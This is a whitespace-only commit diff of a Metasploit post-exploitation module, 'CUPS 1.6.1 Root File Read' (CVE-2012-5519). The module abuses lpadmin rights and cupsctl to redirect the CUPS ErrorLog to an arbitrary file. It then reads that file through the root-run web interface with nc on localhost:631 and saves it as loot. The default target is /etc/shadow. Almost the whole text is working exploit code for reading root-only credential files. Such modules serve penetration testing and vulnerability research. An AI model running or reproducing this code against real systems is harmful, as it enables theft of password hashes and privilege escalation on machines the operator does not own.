Retab changes
parent
a64f960bfc
commit
9b9e1592fd
|
@ -6,167 +6,167 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Common
|
include Msf::Post::Common
|
||||||
|
|
||||||
LP_GROUPS = ['lpadmin', '_lpadmin']
|
LP_GROUPS = ['lpadmin', '_lpadmin']
|
||||||
|
|
||||||
attr_accessor :web_server_was_disabled, :error_log_was_reset
|
attr_accessor :web_server_was_disabled, :error_log_was_reset
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info, {
|
super( update_info( info, {
|
||||||
'Name' => 'CUPS 1.6.1 Root File Read',
|
'Name' => 'CUPS 1.6.1 Root File Read',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.
|
This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.
|
||||||
CUPS allows members of the lpadmin group to make changes to the cupsd.conf
|
CUPS allows members of the lpadmin group to make changes to the cupsd.conf
|
||||||
configuration, which can specify an Error Log path. When the user visits the
|
configuration, which can specify an Error Log path. When the user visits the
|
||||||
Error Log page in the web interface, the cupsd daemon (running with setuid root)
|
Error Log page in the web interface, the cupsd daemon (running with setuid root)
|
||||||
reads the Error Log path and echoes it as plaintext.
|
reads the Error Log path and echoes it as plaintext.
|
||||||
|
|
||||||
This module is known to work on:
|
This module is known to work on:
|
||||||
|
|
||||||
- Mac OS X < 10.8.4
|
- Mac OS X < 10.8.4
|
||||||
- Ubuntu Desktop <= 12.0.4
|
- Ubuntu Desktop <= 12.0.4
|
||||||
|
|
||||||
...as long as the session is in the lpadmin group.
|
...as long as the session is in the lpadmin group.
|
||||||
|
|
||||||
Warning: if the user has set up a custom path to the CUPS error log,
|
Warning: if the user has set up a custom path to the CUPS error log,
|
||||||
this module might fail to reset that path correctly. You can specify
|
this module might fail to reset that path correctly. You can specify
|
||||||
a custom error log path with the ERROR_LOG datastore option.
|
a custom error log path with the ERROR_LOG datastore option.
|
||||||
},
|
},
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
['CVE', '2012-5519'],
|
['CVE', '2012-5519'],
|
||||||
['OSVDB', '87635'],
|
['OSVDB', '87635'],
|
||||||
['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']
|
['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
"Jann Horn", # discovery
|
"Jann Horn", # discovery
|
||||||
"joev <jvennix[at]rapid7.com>" # metasploit module
|
"joev <jvennix[at]rapid7.com>" # metasploit module
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Nov 20 2012',
|
'DisclosureDate' => 'Nov 20 2012',
|
||||||
'Platform' => ['osx', 'linux']
|
'Platform' => ['osx', 'linux']
|
||||||
}))
|
}))
|
||||||
register_options([
|
register_options([
|
||||||
OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]),
|
OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]),
|
||||||
OptString.new("ERROR_LOG",
|
OptString.new("ERROR_LOG",
|
||||||
[true, "The original path to the CUPS error log", '/var/log/cups/error_log']
|
[true, "The original path to the CUPS error log", '/var/log/cups/error_log']
|
||||||
)
|
)
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def check_exploitability
|
def check_exploitability
|
||||||
user = cmd_exec("whoami")
|
user = cmd_exec("whoami")
|
||||||
user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)
|
user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)
|
||||||
if (user_groups & LP_GROUPS).empty?
|
if (user_groups & LP_GROUPS).empty?
|
||||||
print_error "User not in lpadmin group."
|
print_error "User not in lpadmin group."
|
||||||
return Msf::Exploit::CheckCode::Safe
|
return Msf::Exploit::CheckCode::Safe
|
||||||
else
|
else
|
||||||
print_good "User in lpadmin group, continuing..."
|
print_good "User in lpadmin group, continuing..."
|
||||||
end
|
end
|
||||||
|
|
||||||
if ctl_path.blank?
|
if ctl_path.blank?
|
||||||
print_error "cupsctl binary not found in $PATH"
|
print_error "cupsctl binary not found in $PATH"
|
||||||
return Msf::Exploit::CheckCode::Safe
|
return Msf::Exploit::CheckCode::Safe
|
||||||
else
|
else
|
||||||
print_good "cupsctl binary found in $PATH"
|
print_good "cupsctl binary found in $PATH"
|
||||||
end
|
end
|
||||||
|
|
||||||
nc_path = whereis("nc")
|
nc_path = whereis("nc")
|
||||||
if nc_path.nil? or nc_path.blank?
|
if nc_path.nil? or nc_path.blank?
|
||||||
print_error "Could not find nc executable"
|
print_error "Could not find nc executable"
|
||||||
return Msf::Exploit::CheckCode::Unknown
|
return Msf::Exploit::CheckCode::Unknown
|
||||||
else
|
else
|
||||||
print_good "nc binary found in $PATH"
|
print_good "nc binary found in $PATH"
|
||||||
end
|
end
|
||||||
|
|
||||||
config_path = whereis("cups-config")
|
config_path = whereis("cups-config")
|
||||||
config_vn = nil
|
config_vn = nil
|
||||||
|
|
||||||
if config_path.nil? or config_path.blank?
|
if config_path.nil? or config_path.blank?
|
||||||
# cups-config not present, ask the web interface what vn it is
|
# cups-config not present, ask the web interface what vn it is
|
||||||
output = get_request('/')
|
output = get_request('/')
|
||||||
if output =~ /title.*CUPS\s+([\d\.]+)/i
|
if output =~ /title.*CUPS\s+([\d\.]+)/i
|
||||||
config_vn = $1.strip
|
config_vn = $1.strip
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed
|
config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status "Found CUPS #{config_vn}"
|
print_status "Found CUPS #{config_vn}"
|
||||||
|
|
||||||
if config_vn.nil?
|
if config_vn.nil?
|
||||||
print_error "Could not determine CUPS version."
|
print_error "Could not determine CUPS version."
|
||||||
return Msf::Exploit::CheckCode::Unknown
|
return Msf::Exploit::CheckCode::Unknown
|
||||||
end
|
end
|
||||||
|
|
||||||
config_parts = config_vn.split('.')
|
config_parts = config_vn.split('.')
|
||||||
if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2
|
if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2
|
||||||
Msf::Exploit::CheckCode::Vulnerable
|
Msf::Exploit::CheckCode::Vulnerable
|
||||||
else
|
else
|
||||||
Msf::Exploit::CheckCode::Safe
|
Msf::Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
if check_exploitability == Msf::Exploit::CheckCode::Safe
|
if check_exploitability == Msf::Exploit::CheckCode::Safe
|
||||||
print_error "Target machine not vulnerable, bailing."
|
print_error "Target machine not vulnerable, bailing."
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
defaults = cmd_exec(ctl_path)
|
defaults = cmd_exec(ctl_path)
|
||||||
@web_server_was_disabled = defaults =~ /^WebInterface=no$/i
|
@web_server_was_disabled = defaults =~ /^WebInterface=no$/i
|
||||||
|
|
||||||
# first we set the error log to the path intended
|
# first we set the error log to the path intended
|
||||||
cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")
|
cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")
|
||||||
cmd_exec("#{ctl_path} WebInterface=yes")
|
cmd_exec("#{ctl_path} WebInterface=yes")
|
||||||
@error_log_was_reset = true
|
@error_log_was_reset = true
|
||||||
|
|
||||||
# now we go grab it from the ErrorLog route
|
# now we go grab it from the ErrorLog route
|
||||||
file = strip_http_headers(get_request('/admin/log/error_log'))
|
file = strip_http_headers(get_request('/admin/log/error_log'))
|
||||||
|
|
||||||
# and store as loot
|
# and store as loot
|
||||||
f = File.basename(datastore['FILE'])
|
f = File.basename(datastore['FILE'])
|
||||||
loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)
|
loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)
|
||||||
print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")
|
print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")
|
||||||
end
|
end
|
||||||
|
|
||||||
def cleanup
|
def cleanup
|
||||||
print_status "Cleaning up..."
|
print_status "Cleaning up..."
|
||||||
cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled
|
cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled
|
||||||
cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset
|
cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset
|
||||||
super
|
super
|
||||||
end
|
end
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
def prev_error_log_path; datastore['ERROR_LOG']; end
|
def prev_error_log_path; datastore['ERROR_LOG']; end
|
||||||
def ctl_path; @ctl_path ||= whereis("cupsctl"); end
|
def ctl_path; @ctl_path ||= whereis("cupsctl"); end
|
||||||
def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end
|
def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end
|
||||||
|
|
||||||
def whereis(exe)
|
def whereis(exe)
|
||||||
line = cmd_exec("whereis #{exe}")
|
line = cmd_exec("whereis #{exe}")
|
||||||
if line =~ /^\S+:\s*(\S*)/i
|
if line =~ /^\S+:\s*(\S*)/i
|
||||||
$1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl"
|
$1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl"
|
||||||
else
|
else
|
||||||
line # on osx it just returns '/usr/sbin/cupsctl'
|
line # on osx it just returns '/usr/sbin/cupsctl'
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_request(uri)
|
def get_request(uri)
|
||||||
output = perform_request(uri, 'nc -j localhost 631')
|
output = perform_request(uri, 'nc -j localhost 631')
|
||||||
|
|
||||||
if output =~ /^usage: nc/
|
if output =~ /^usage: nc/
|
||||||
output = perform_request(uri, 'nc localhost 631')
|
output = perform_request(uri, 'nc localhost 631')
|
||||||
end
|
end
|
||||||
|
|
||||||
output
|
output
|
||||||
end
|
end
|
||||||
|
|
||||||
def perform_request(uri, nc_str)
|
def perform_request(uri, nc_str)
|
||||||
# osx requires 3 newlines!
|
# osx requires 3 newlines!
|
||||||
cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' '))
|
cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' '))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue